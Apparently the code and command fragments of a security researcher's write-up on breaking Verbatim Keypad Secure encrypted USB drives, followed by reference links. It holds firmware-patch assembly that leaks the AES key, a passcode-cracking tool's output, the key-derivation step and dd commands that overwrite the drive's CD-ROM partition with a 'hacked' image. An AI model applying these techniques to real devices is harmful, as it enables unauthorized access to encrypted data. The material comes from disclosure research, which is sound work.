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https://koeln.ftp.media.ccc.de/congress/2009/mp4/26c3-3645-en-lightning_talks_-_day_4.mp4
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http://www.heise.de/newsticker/meldung/NSA-manipuliert-per-Post-versandte-US-Netzwerktechnik-2187858.html
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# hexdump -C /dev/sda
00000000  c4 1d 46 58 05 68 1d 9a  32 2d 29 04 f4 20 e8 4d  |..FX.h..2-).. .M|
*
000001b0  9f 73 b0 a1 81 34 ef bd a4 b3 15 2c 86 17 cb 69  |.s...4.....,...i|
000001c0  eb d0 9d 9a 4e d8 04 a6  92 ba 3f f4 0c 88 a5 1d  |....N.....?.....|
000001d0  c4 1d 46 58 05 68 1d 9a  32 2d 29 04 f4 20 e8 4d  |..FX.h..2-).. .M|
*
000001f0  e0 01 66 72 af f2 be 65  5f 69 12 88 b8 a1 0b 9d  |..fr...e_i......|
00000200  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00100000  73 b2 f8 fb af cf ed 57  47 db b8 c7 ad 9c 91 07  |s......WG.......|
00100010  7a 93 c9 d9 60 7e 2c e4  97 6c 7b f8 ee 4f 87 2c  |z...`~,..l{..O.,|
00100020  19 72 83 d1 6d 0b ca bb  68 f8 ec e3 fc c0 12 b7  |.r..m...h.......|
(…)
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# hexdump -C /dev/sda
00000000  c4 1d 46 58 05 68 1d 9a  32 2d 29 04 f4 20 e8 4d  |..FX.h..2-).. .M|
*
000001b0  9f 73 b0 a1 81 34 ef bd a4 b3 15 2c 86 17 cb 69  |.s...4.....,...i|
000001c0  eb d0 9d 9a 4e d8 04 a6  92 ba 3f f4 0c 88 a5 1d  |....N.....?.....|
000001d0  c4 1d 46 58 05 68 1d 9a  32 2d 29 04 f4 20 e8 4d  |..FX.h..2-).. .M|
*
000001f0  e0 01 66 72 af f2 be 65  5f 69 12 88 b8 a1 0b 9d  |..fr...e_i......|
00000200  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00100000  73 b2 f8 fb af cf ed 57  47 db b8 c7 ad 9c 91 07  |s......WG.......|
00100010  7a 93 c9 d9 60 7e 2c e4  97 6c 7b f8 ee 4f 87 2c  |z...`~,..l{..O.,|
00100020  19 72 83 d1 6d 0b ca bb  68 f8 ec e3 fc c0 12 b7  |.r..m...h.......|
(…)
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https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
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$ python update-firmaware.py firmware_hacked.bin
Verbatim Secure Keypad Firmware Updater v0.1 - Matthias Deeg, SySS GmbH (c) 2022
[*] Computed CRC-16 (0x03F5) does not match stored CRC-16 (0x8B17).
[*] Successfully updated firmware file





.global __start

.text

__start:
mov_s r13, 0x4000010c       ; read AES mode
ldb_s r0, [r13]
bl send_spi_byte

mov_s r12, 0                ; index
; mov_s r13, 0x400001d0     ; AES key buffer address
mov_s r13, 0x40056904      ; AES key buffer address
mov r14, 32              ; loop count

send_data:
ldb.ab r0, [r13, 1]         ; load next byte
add     r12, r12, 1
bl send_spi_byte

sub     r14, r14, 1
cmp_s r14, 0
bne send_data

b       continue

.align 4
send_spi_byte:

mov_s r3, 0x1
mov_s r2, 0x400503e0

stb.di r3, [r2, 0xf1]
mov_s r1, 0xee
stb.di r1, [r2, 0xe3]
stb.di r3, [r2, 0xe2]
stb.di r0, [r2, 0xe1]

send_spi_wait:
ldb.di r0,[r2, 0xf1]
bbit0   r0, 0x0, send_spi_wait
stb.di r3,[r2, 0xf1]
j_s [blink]

continue:
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$ cat Makefile
PROJECT = debug
ASM = ./arc-snps-elf-as
ASMFLAGS = -mcpu=arc600
LD = ./arc-snps-elf-ld
LDFLAGS = --oformat=binary

$(PROJECT): $(PROJECT).o
$(LD) $(LDFLAGS) $(PROJECT).elf -o $(PROJECT).o

$(PROJECT).o: $(PROJECT).asm
$(ASM) $(ASMFLAGS) debug.asm -o $(PROJECT).elf

clean:
rm $(PROJECT).elf $(PROJECT).o
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0006E300F741

0026E2000AC91F2F0AC91F2F0AC91F2956669ADFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F44
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0AC91F2F
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0000 4636B9C9
1111 0AC91F2F
2222 5EC8BD1E
3333 624E6000
4444 B991063F
5555 0A05D514
6666 7E657A68
7777 B1C9C3BA
8888 7323CC76
9999 523DA5F5
1234 E097BCF8
5678 F540AEF4
no input 956669AD































uint32_t hash32shift2002(uint32_t hash) {
hash += ~(hash << 15);
hash ^= (hash >> 10);
hash += (hash << 3);
hash ^= (hash >> 6);
hash += ~(hash << 11);
hash ^= (hash >> 16);
return hash;

}
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# dd if=/dev/sda bs=512 skip=125042696 count=1 of=ciphertext_block.bin
1+0 records in
1+0 records out
512 bytes copied, 0.408977 s, 1.3 kB/s

# hexdump -C ciphertext_block.bin
00000000  c3 f7 d5 4d df 70 28 c1  e3 7e 92 08 a8 57 3e d8  |...M.p(..~...W>.|
00000010  f1 5c 3d 3c 71 22 44 c3  97 19 14 fd e6 3d 76 0b  |.\=<q"D......=v.|
00000020  63 f6 2a e3 72 8c dd 30  ae 67 fd cf 32 0b bf 3f  |c.*.r..0.g..2..?|
00000030  da 95 bc bb cc 9f f9 49  5e f7 4c 77 df 21 5c f4  |.......I^.Lw.!\.|
00000040  c3 35 ee c0 ed 9e bc 88  56 bd a5 53 4c 34 6e 2e  |.5......V..SL4n.|
00000050  61 06 49 08 9a 16 20 b7  cb c6 f8 f5 dd 6d 97 e6  |a.I... ......m..|
00000060  3c e7 1d 8e f8 e9 c6 07  5d fa 1a 8e 67 59 61 d1  |<.......]...gYa.|
00000070  6b a1 05 23 d3 0e 7b 61  d4 90 aa 33 26 6a 6c f9  |k..#..{a...3&jl.|
*
00000100  fe 82 1c 5e 9a 4b 16 81  f7 86 48 be d9 a5 a1 7b  |...^.K....H....{|
*
00000200
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AES_key = reversed(passcode_key[0:16]) + reversed(passcode_key[16:32]) 
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# ./vks-cracker /dev/sda
█████ █████ █████ ████ █████████ █████████ █████

░░███ ░░███ ░░███ ███░ ███░░░░░███ ███░░░░░███ ░░███

░███ ░███ ░███ ███ ░███ ░░░ ███ ░░░ ████████ ██████ ██████ ░███ █████ ██████ ████████

░███ ░███ ░███████ ░░█████████ ░███ ░░███░░███ ░░░░░███ ███░░███ ░███░░███ ███░░███░░███░░███

░░███ ███ ░███░░███ ░░░░░░░░███ ░███ ░███ ░░░ ███████ ░███ ░░░ ░██████░ ░███████ ░███ ░░░

░░░█████░ ░███ ░░███ ███ ░███ ░░███ ███ ░███ ███░░███ ░███ ███ ░███░░███ ░███░░░ ░███

░░███ █████ ░░████░░█████████ ░░█████████ █████ ░░████████░░██████ ████ █████░░██████ █████

░░░ ░░░░░ ░░░░ ░░░░░░░░░ ░░░░░░░░░ ░░░░░ ░░░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░░ ░░░░░

... finds out your passcode.

Verbatim Keypad Secure Cracker v0.5 by Matthias Deeg <matthias.deeg@syss.de> (c) 2022
---
[*] Found 4 CPU cores
[*] Reading magic sector from device /dev/sda
[*] Found a plausible magic sector for Verbatim Keypad Secure (#49428)
[*] Initialize passcode hash table
[*] Start cracking ...
[+] Success!

The passcode is: 99999999
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VerbatimSecure.exe
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VerbatimSecure.exe

 IOCTL_SCSI_PASS_THROUGH 
(0x4D004)
DeviceIoControl
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DeviceIoControl
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# dd if=/dev/sda bs=512 skip=1000179711 of=cdrom.iso
35505+0 records in
35505+0 records out
18178560 bytes (18 MB, 17 MiB) copied, 0.269529 s, 67.4 MB/s
[root@hackbox cdrom]# file cdrom.iso
cdrom.iso: ISO 9660 CD-ROM filesystem data 'VERBATIMSECURE'

# fdisk -l /dev/sda
Disk /dev/sda: 476.92 GiB, 512092012032 bytes, 1000179711
sectors
Disk model: Portable Drive
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xbfc4b04e

Device     Boot Start        End    Sectors Size Id Type
/dev/sda1        2048 1000171517 1000169470 476.9G  c W95 FAT32 
(LBA)

# fdisk -l /dev/sda
Disk /dev/sda: 476.94 GiB, 512110190592 bytes, 1000215216 sectors
Disk model: RTL9210B NVME
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
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# mkisofs -o hacked.iso -J -R -V "VerbatimSecure" ./content

# dd if=hacked.iso of=/dev/sda bs=512 seek=1000179711
25980+0 records in
25980+0 records out
13301760 bytes (13 MB, 13 MiB) copied, 1.3561 s, 9.8 MB/s
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# mkisofs -o hacked.iso -J -R -V "VerbatimSecure" ./content

# dd if=hacked.iso of=/dev/sda bs=512 seek=1000179711
25980+0 records in
25980+0 records out
13301760 bytes (13 MB, 13 MiB) copied, 1.3561 s, 9.8 MB/s
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Lepin Encrypted Flash Drive.mp4
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mailto:Lepin_support@163.com
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https://www.verbatim-europe.co.uk/en/support-centre/?part_no=49427
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https://www.verbatim-europe.co.uk/en/prod/verbatim-keypad-secure-usb-32-gen-1-drive-128gb-49429/
https://www.verbatim-europe.co.uk/en/prod/store-n-go-portable-ssd-with-keypad-access-256gb-53402/
https://www.verbatim-europe.co.uk/en/prod/executive-fingerprint-secure-ssd-usb-32-gen-1--usb-c-1tb-53657/
https://www.verbatim-europe.co.uk/en/prod/fingerprint-secure-portable-hard-drive-1tb-53650/
https://www.amazon.com/Encrypted-Password-Aluminum-Portable-Protected/dp/B06W5H9GP7/
https://spritesmods.com/?art=secustick
https://www.objectif-securite.ch/2008/07/16/usb-fips-2-vuln.html
https://www.syss.de/fileadmin/dokumente/Publikationen/2009/SySS_Cracks_SanDisk_USB_Flash_Drive.pdf
https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_Cracks_Yet_Another_USB_Flash_Drive.pdf
https://airbus-seclab.github.io/hdd/SSTIC2015-Article-hardware_re_for_software_reversers-czarny_rigo.pdf
https://hardwear.io/document/got-HW-crypto-slides_hardwear_gunnar-christian.pdf
https://airbus-seclab.github.io/hdd/2016-Lenoir_Rigo-HDD_PIN.pdf


https://www.blackhat.com/docs/us-16/materials/us-16-OFlynn-Brute-Forcing-Lockdown-Harddrive-PIN-Codes.pdf
https://syscall.eu/blog/2018/03/12/aigo_part1/
https://github.com/NationalSecurityAgency/ghidra/pull/3006
https://www.reddit.com/r/dailyprogrammer_ideas/comments/92mwny/intermediatehard_integer_hash_function_interpreter/
http://web.archive.org/web/20071223173210/http:/www.concentric.net/~Ttwang/tech/inthash.htm
https://www.globalsources.com/Solid-state/fingerprint-encryption-SSD-Enclosure-1180740304p.htm
https://www.globalsources.com/2.5-inch-hard/HDD-enclosure-1162059106p.htm
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-001.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-002.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-003.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-004.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-005.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-006.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-007.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-008.txt


https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-009.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-010.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-011.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-013.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-014.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-015.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-016.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-017.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-024.txt
https://blog.syss.com/posts/hacking-usb-flash-drives-part-1/
https://blog.syss.com/posts/hacking-usb-flash-drives-part-2/
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-043.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-044.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-045.txt
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-046.txt


mailto:matthias.deeg@syss.de
https://twitter.com/matthiasdeeg
https://www.youtube.com/c/SySSPentestTV
https://blog.syss.com/



